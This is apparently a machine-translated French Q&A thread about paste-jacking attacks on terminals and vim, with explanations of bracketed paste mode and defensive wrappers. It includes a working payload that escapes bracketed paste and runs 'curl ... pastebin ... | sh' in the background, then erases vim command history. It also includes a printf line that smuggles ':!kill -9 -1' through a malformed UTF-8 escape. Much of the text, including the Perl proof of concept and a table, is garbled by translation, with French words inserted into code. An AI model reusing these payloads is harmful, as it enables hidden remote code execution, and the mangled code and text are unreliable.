Vous l'avez peut-être deviné, mais n'utilisez jamais la fonctionnalité de collage des terminaux pour coller des éléments dans vim / emacs . C'est comme envoyer un lot de commandes à l'éditeur, qui peut tout faire.

Pour ces raisons, les éditeurs ont leur propre fonctionnalité de copier-coller, qui ne peut pas être injectée. Par exemple, dans vim, vous devez utiliser le registre + pour échanger des données avec le presse-papiers du système ( "+ p pour coller).

Concernant le shell ou d'autres applications de terminal: il a été établi que vous ne devez pas coller de données non sécurisées dans votre terminal.

Il existe un plugin de collage sécurisé pour zsh, qui empêche le code de s'exécuter lorsqu'il est collé, mais quelqu'un l'a déjà exploité de toute façon.

Aussi, une question similaire (à propos du collage accidentel ) a été posée sur apple.se. La plupart des solutions peuvent également fonctionner pour vous.

Mise à jour: Dans vim, si set mouse = a est utilisé, coller avec le bouton central de la souris est sûr. Vous pouvez quand même coller avec Maj-Insérer.

Notez que à partir de la version 292, xterm supprime les caractères de contrôle ASCII sauf \ b , \ r , \ t , DEL (0x7f) et \ n (il convertit \ n en \ r comme les autres terminaux ), et vous pouvez les ramener avec la ressource allowPasteControls . VTE (la bibliothèque d'émulation de terminal utilisée par gnome-terminal , terminator , xfce-terminal ...) le fait également depuis octobre 2015

Donc, dans ces terminaux, ^ C , ^ [, ^ D , ^ Z , ^ \ , ^ U , ^ W ne sont plus un problème mais DEL, \ b , \ t (très dangereux avec certaines configurations (y compris celle par défaut) de zsh où la complétion peut étendre les substitutions de commandes), \ r et \ n le sont toujours.

xterm a également quelques modes de collage qui peuvent aider ici.

• le mode de collage entre crochets activé avec la séquence \ e [? 2004h comme utilisé dans certains plugins zsh ou vim safe -paste.

  zsh ( zle ) depuis 5.1 et bash ( readline ) depuis 4.4 ont maintenant prise en charge pour cela intégré. Bien qu'il soit activé par défaut dans zsh , vous devez pour l'activer manuellement avec bind 'set enable-bracketed-paste on' dans bash (ou dans la configuration readline dans ~ / .inputrc ou /etc/inputrc).

  Celui-ci encapsule la sélection entre \ e [200 ~ et \ e [201 ~ .

  La plupart des autres terminaux modernes comme ceux basés sur VTE ( gnome-terminal , xfce-terminal , terminator ...), rxvt , konsole , OS / X Terminal prennent désormais également en charge celui-ci.

  Dans certains de ces autres terminaux (ou versions de ceux-ci) (ou avec allowPasteControls dans xterm ), c'est défectueux dans ce \ e [201 ~ peut apparaître dans la sélection et serait considéré comme le crochet fermant.

  Cela pourrait être corrigé par un bracketing comme \ e \ e [201 ~ \ e [200 ~ 201 ~ , mais ce n'est encore fait par aucun émulateur de terminal AFAIK (et cela signifierait que l'application verrait plusieurs pâtes).

  ^ C / ^ Z / ^ \ entraînerait également l'envoi de signaux au groupe de processus de premier plan de le terminal si ISIG n'était pas désactivé dans la discipline de la ligne tty.

• Le mode de collage entre guillemets activé avec le \ e [? 2005h (désactivé avec \e[?2005l).

  Celui-ci ajoute à chaque caractère (en fait octet) un caractère ^ V .

  ^ V est le caractère par défaut lnext ( literal next ) de la discipline de ligne tty en mode canonique, et est également reconnu comme tel par vi et d'autres éditeurs et certains éditeurs de ligne comme readline ou zle de zsh .

  Celui-là n'a pas le même problème comme le mode entre crochets ci-dessus, et a l'avantage de fonctionner pour le mode canonique du terminal (comme lorsque vous faites un fichier cat > ) et quelques autres applications mais en a quelques inconvénients:

  • newline et CR finissent par être rendus comme ^ M . Cela peut être évité avec une autre séquence d'échappement: \ e [? 2006h , mais cela fait que les nouvelles lignes sont insérées en tant que caractères NUL dans vim et apparaissent sous la forme ^ J (sauf si vous faites stty -echoctl ) dans le mode canonique du terminal (bien que ce ne soit qu'un problème cosmétique).
  • Cela ne fonctionne pas très bien pour multi- des caractères d'octets qui ne sont pas insérés correctement dans zle ou vim par exemple.
  • certaines applications visuelles ne traitent pas ^ V comme littéral suivant , vous devrez peut-être le désactiver de manière sélective.
  • vous pouvez ne l'utilisez pas dans vim car ^ V 1 par exemple n'insère pas 1 mais ^ A ici.
  • Je ne connais aucun autre terminal à côté de xterm le prenant en charge, mais je n'ai pas effectué d'enquête approfondie.

• il vous permet également de définir votre propre mode de collage entre crochets via la configuration. Par exemple, avec:

    XTerm * allowPasteControls: true XTerm.VT100.translations: #override \ Ctrl Shift<KeyPress> Insertion: \ insert-formatted ("\ 033 [202 ~% S ~% s" , CLIPBOARD, PRIMARY, CUT_BUFFER0) ' 

  il insérerait le CLIPBOARD / PRIMARY / CUT_BUFFER0 comme ^ [[202 ~ <size-in-bytes> ~ <content> sur Shift + Ctrl + Insert . L'application pourrait alors interpréter cela de manière fiable (elle aurait quand même besoin de désactiver ISIG dans la discipline de ligne tty).

Une autre approche consisterait à utilisez un wrapper pseudo-tty qui insère ces ^ V uniquement devant les caractères de contrôle. Un tel wrapper devrait être capable de détecter les caractères de contrôle dans les pâtes avec une certaine fiabilité, car les véritables pressions sur les touches du clavier n'enverraient qu'un caractère à la fois ou une séquence de caractères commençant par ESC, tandis que les pâtes en enverraient plusieurs à la fois .

Vous auriez toujours le problème des sauts de ligne affichés comme ^ J dans le mode canonique du terminal ou ^ @ dans vim , mais cela pourrait être contourné avec une certaine coopération du shell

Une preuve de concept:

À utiliser par exemple comme:

  ./ safe-paste bash  

Pour démarrer un shell bash sous ce wrapper.

  #! / usr / bin / perluse IO :: Pty; utilise IO :: Stty; mon $ pty = new IO :: Pty; mon $ pid = fork ();
die "Impossible de fork" si non défini $ pid; sauf ($ pid) {$ pty->make_slave_controlling_terminal (); mon $ slave = $ pty->slave (); close $ pty; $ slave->clone_winsize_from (\ * STDIN); open (STDIN, "<&". $ slave->fileno ()) or die "Impossible de rouvrir STDIN pour lecture, $! \ n"; open (STDOUT, ">&". $ slave->fileno ()) or die "Impossible de rouvrir STDOUT pour l'écriture, $! \ n"; open (STDERR, ">&". $ slave->fileno ()) or die "Impossible de rouvrir STDERR pour l'écriture, $! \ n"; close $ slave; exec (@ARGV); die "Impossible d'exécuter (@ARGV): $!";} $ pty->close_slave (); $ SIG {WINCH} = sub {$ pty->slave->clone_winsize_from (\ * STDIN);}; my $ old = IO Stty :: stty (\ * STDIN, '-g'); IO :: Stty :: stty (\ * STDIN, 'raw', '-echo'); $ tty = fileno ($ pty); mon ($ rin , $ ein) = ('', '', ''); vec ($ rin, 0, 1) = 1; vec ($ rin, $ tty, 1) = 1; vec ($ ein, $ tty, 1 ) = 1; mon ($ to_stdout, $ to_tty) = ('', ''); mon $ eof; $ SIG {CHLD} = sub {$ eof = 1}; jusqu'à ($ eof && $ to_stdout eq '' && $ to_tty eq '') {my ($ rout, $ wout, $ eout, $ timeleft); mon $ win = ''; vec ($ win, 0, 1) = 1 if ($ to_stdout ne ""); vec ($ win, $ tty, 1) = 1 if ($ to_tty ne ""); ($ nfound, $ timeleft) = select ($ rout = $ rin, $ wout = $ win, $ eout = $ ein, undef); if ($ nfound > 0) {if (vec ($ eout, $ tty, 1)) {print STDERR "Exception sur $ tty \ n"; } if (vec ($ rout, 0, 1)) {mon $ buf; if (lecture système (STDIN, $ buf, 4096)) {if ($ buf = ~ /. - \ 037] | \ 033. *? [~ A-zA-NP-Z]) ./) {$ buf = ~ s / [\ 0- \ 037 \ 177] / \ 026 $ & / g; # TODO: ajouter le désinfectant UTF-8 $ buf = ~ y / \ r / \ n /; } $ to_tty. = $ buf; } else {$ eof = 1; vec ($ rin, 0, 1) = 0; }} if (vec ($ rout, $ tty, 1)) {mon $ buf; if (sysread ($ pty, $ buf, 4096)) {$ to_stdout. = $ buf; } else {$ eof = 1;
vec ($ rin, $ tty, 1) = 0; $ to_tty = ''; }} if ($ to_tty ne '' && vec ($ wout, $ tty, 1)) {mon $ écrit = syswrite ($ pty, $ to_tty); $ to_tty = substr ($ to_tty, $ écrit) si $ écrit; } if ($ to_stdout ne '' && vec (wout, 1, 1)) {mon $ écrit = syswrite (STDOUT, $ to_stdout); $ to_stdout = substr ($ to_stdout, $ écrit) si $ écrit; }}} END {IO :: Stty :: stty (\ * STDIN, $ old)}  

Une meilleure approche serait probablement d'utiliser un gestionnaire de presse-papiers où vous pouvez spécifier le mode coller et cela signalerait les sélections potentiellement dangereuses.

Eh bien, il s'avère que mon approche actuelle du presse-papiers est efficace pour atténuer ce problème.

Lorsque vous copiez et collez des extraits entre les onglets, je fais simplement un copier-coller normalement.

Cependant, lors du copier-coller dans une session terminal / PuTTY, je (étant un peu opposé à la modification du texte dans le terminal), je l'assemble généralement dans Notepad ++ ou Emacs (selon le système d'exploitation), puis copie- collez le texte final dans le terminal. Les deux éditeurs affichent des caractères de contrôle (et d'autres caractères non imprimables), il est donc facile de remarquer toute skullduggery là-bas.

Je ne peux malheureusement pas prétendre que j'utilise l'approche de l'éditeur de texte intermédiaire pour des raisons de sécurité, c'est parce que je ne suis pas encore adepte de vim ou de tout autre éditeur basé sur un terminal.

Je pourrais prétendre que tout copier&paste d'extraits de code est une mauvaise habitude, mais cela évite le problème. Personnellement, je tape de tels éléments de code au lieu de les copier, mais c'est parce que je veux généralement y changer certaines choses, ou apprendre à faire la tâche à accomplir; ou peut-être que je suis juste un maniaque délirant.

Ce que vous pourriez faire est de nettoyer automatiquement le contenu du presse-papiers . Une application d'arrière-plan peut surveiller en permanence le contenu du tampon coupé et supprimer les caractères de contrôle; Je ne suis pas sûr que X11 puisse être persuadé d'envoyer un événement pour un changement de tampon de coupe, mais une interrogation 10 fois par seconde ferait l'affaire. La dualité X11 (réduction des tampons vs sélections) rendra les choses un peu plus complexes, mais je crois que cela peut être fait (et, de plus, je pense que vous pouvez le faire).

La désinfection du contenu peut être délicate. Par exemple, supposons que vous supprimiez tous les octets dans la plage 0..31 (les caractères de contrôle ASCII) à l'exception du retour à la ligne (10), du retour chariot (13) et des tabulations (9). Ensuite, si j'écris ceci (système Linux):

  printf "\ xC0 \ x9B:! Kill -9 -1 \ n" | xclip  

puis je colle ça dans une instance vim fonctionnant en xterm (en mode UTF-8), puis je tue tout mes processus ... bien que le tampon de coupe ne contienne jamais de caractère de contrôle "indésirable" à aucun moment. La séquence C0 9B n'est pas UTF-8 valide, mais suffisamment proche pour que xterm essaie de la décoder quand même, et elle se décode en 0x1B , aka Escape ... d'autres séquences délicates incluent E0 80 9B . Notez que si UTF-8 valide jamais inclut un octet de valeur C0 , il peut contenir des octets de valeur E0 , 80 et 9B (mais pas dans cet ordre). Le processus de désinfection devrait donc être minutieux et strict.

Une fonctionnalité supplémentaire d'un tel outil serait de convertir automatiquement les séquences CR + LF et les CR solitaires en LF. Convertissez éventuellement les sanglants caractères CP-1252 de la gamme 128..159 en leurs homologues normaux sains. Ce n'est pas seulement un problème de sécurité; cela pourrait être un outil utile dans des situations non malveillantes.

J'ai récemment résolu ce problème pour moi-même en exécutant mon navigateur Web dans une machine virtuelle. La sélection x n'est pas synchronisée entre la VM et l'hôte, il n'est donc plus possible pour moi de coller sans réfléchir des éléments du Web dans un terminal.

Cela va beaucoup plus loin que les modifications de ligne intégrées où vous verriez au moins ce qui s'est passé; ou du moins voir que quelque chose était caché. Je pourrais publier un fragment de code à l'aspect bénin comme celui-ci:

 let t_BE = "\ <esc> [? 2004  h" 

Ensuite inciter les gens à le copier-coller dans un éditeur de texte spécifique dans un émulateur de terminal spécifique, par exemple, en suggérant qu'il est nécessaire d'atténuer un problème (peut-être même un problème de sécurité) que les deux ont lorsqu'ils fonctionnent ensemble.

Le texte préformaté ci-dessus montre un paramètre vim bénin, mais il inclut une image et utilise son texte alternatif pour inclure la charge utile suivante lors de la copie:

 \ e [201 ~ \ e: call system ('( curl -s https://pastebin.com/raw/zSBiFpKn|sh)&'):call histdel ('cmd', 'zSBiFpKn') a \ e [200 ~ 

(les codes de contrôle sont intégré comme & # nn; s'échappe dans la source de démarquage, mais je les ai modifiés pour plus de clarté, ici)

Si vous copiez le texte ci-dessus, vous pouvez confirmer que vous avez récupéré la charge utile avec une commande comme:

 xsel | hexdump -C 

Cette chaîne suppose que la cible utilise vim depuis un émulateur de terminal vulnérable et n'utilise pas la fonction de presse-papiers X11. Il commence par la séquence d'échappement pour quitter le mode collage entre crochets afin que les caractères de contrôle suivants soient traités comme des frappes, puis un autre échappement pour quitter le mode insertion, puis deux commandes:

: call system ('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')

pour télécharger et exécuter un script shell en arrière-plan, et:

: appeler histdel ('cmd ',' zSBiFpKn ') 

pour supprimer les deux commandes (ou toutes les commandes avec la chaîne correspondante) de l'historique des commandes afin qu'elles ne soient pas découvertes plus tard. et la séquence d'échappement pour revenir en mode collage entre crochets, de sorte que les choses soient cohérentes lorsque le terminal ajoute l'échappement final pour quitter le mode collage entre crochets.

Si le mode de collage entre crochets n'est pas disponible, un peu de technobabble supplémentaire apparaît dans la chaîne collée dans le tampon, mais sinon les choses devraient toujours fonctionner.

Puisque les deux commandes reviennent immédiatement, il y a de fortes chances qu'elles ' ll sera terminé avant le prochain retracement d'écran, et ainsi l'écran ne piquera pas. L'émission des deux commandes séparément garantit qu'elles tiennent sur un terminal à 80 colonnes - si la ligne de commande doit être étendue à plus d'une ligne, la mise à jour de l'écran est beaucoup plus compliquée et plus lente, de sorte que l'écran peut pépiner (selon système et terminal, je suppose).

Si tout fonctionne, l'attaque se produit de manière invisible pour l'utilisateur, et il pense avoir collé avec succès le texte qu'il a vu dans sa mémoire tampon et que rien d'autre ne s'est produit. Il y aura une discontinuité dans leur numérotation de l'historique des commandes, mais aucune explication évidente à cela.

Pour arrondir cela en une réponse; cette démonstration est surtout historique. Le mode de collage entre crochets est largement pris en charge, et dans la plupart des terminaux, il n'est pas possible de le casser avec des échappements intégrés (vérifiez ceci et mettez à niveau / rapportez si nécessaire). Vous devez configurer votre shell et vos éditeurs et tout autre élément dans lequel vous êtes susceptible de coller pour activer le mode de collage entre crochets.

Ce que je fais pour me protéger contre cela, c'est utiliser le mode Coller entre crochets. Comme l'a dit Stéphane, zsh et urxvt le supportent par défaut. Si vous vous limitez à coller uniquement lorsque vous êtes dans une invite zsh dans urxvt, le seul vrai problème qui vous reste (je ne vois aucun problème avec ^ C ou ^ Z provoquant des signaux dans l'invite) est que le collage pourrait contenir la séquence d'échappement pour terminer le collage et interpréter le reste comme s'il était saisi.

La résolution de ce problème en attente est le sujet de cette réponse. J'écrirai ce que j'ai fait pour mon cas, mais cela devrait aussi être faisable dans d'autres terminaux, sinon par extension puis par patch.

urxvt supporte les extensions perl. J'ai écrit ceci dans ~/.urxvt/ext/filter-paste:

  sub on_tt_paste {my ($ term, $ octets) = @_; $ octets = ~ s / \ x1b \ [201 ~ // g; $ term->tt_paste ($ octets); return true;}  

l'a inclus dans la liste des extensions perl à charger dans ~/.Xresources:

  URxvt. perl-ext-common: filter-paste  

et a rechargé la configuration pour les nouvelles fenêtres de terminal avec xrdb ~ / .Xresources .

Avec cela, urxvt supprime toutes les instances de la séquence d'échappement du mode Collage de fermeture de ce qui est collé dans le terminal.

La page Web, http://thejh.net/misc/website-terminal-copy- coller, a 2 exemples d'exploits pour cela au moment de la rédaction de cet article. Avant d'écrire l'extension, zsh avec urxvt serait invulnérable pour le premier exemple, mais pas pour le second qui inclut la séquence d'échappement pour terminer le mode coller. Après l'écriture, ni l'un ni l'autre n'a fonctionné, et le contenu complet de ce qui a été collé serait affiché dans l'invite, en attendant une Entrée avant de s'exécuter (zsh n'exécutera pas une commande collée avec le mode coller entre crochets même si elle contient des nouvelles lignes jusqu'à ce que vous appuyiez sur Enter).

EDIT: Invité par le commentaire de sh1, j'ai testé d'autres émulateurs de terminal pour voir lesquels étaient encore vulnérables.

 | - --------------- + --------- + -------- |
| terminal | version | fixe || ---------------- + --------- + -------- || yakuake | 3.0.5 | ok || gnome-terminal | 3.28.1 | ok || konsole | 18.04.0 | ok || xterm | 332 | ok || sakura | 3.5.0 | ok || vte3 | 0,52,1 | ok || mastic | 0,71 | ok || termite | 14 | ok || st | 0.8.1 | échoué || qterminal | 0,14,1 | échoué || ---------------- + --------- + -------- | 

Toutes les versions sont celles actuellement présent au moment de la rédaction dans les dépôts de paquets Archlinux (Archlinux est une version en cours).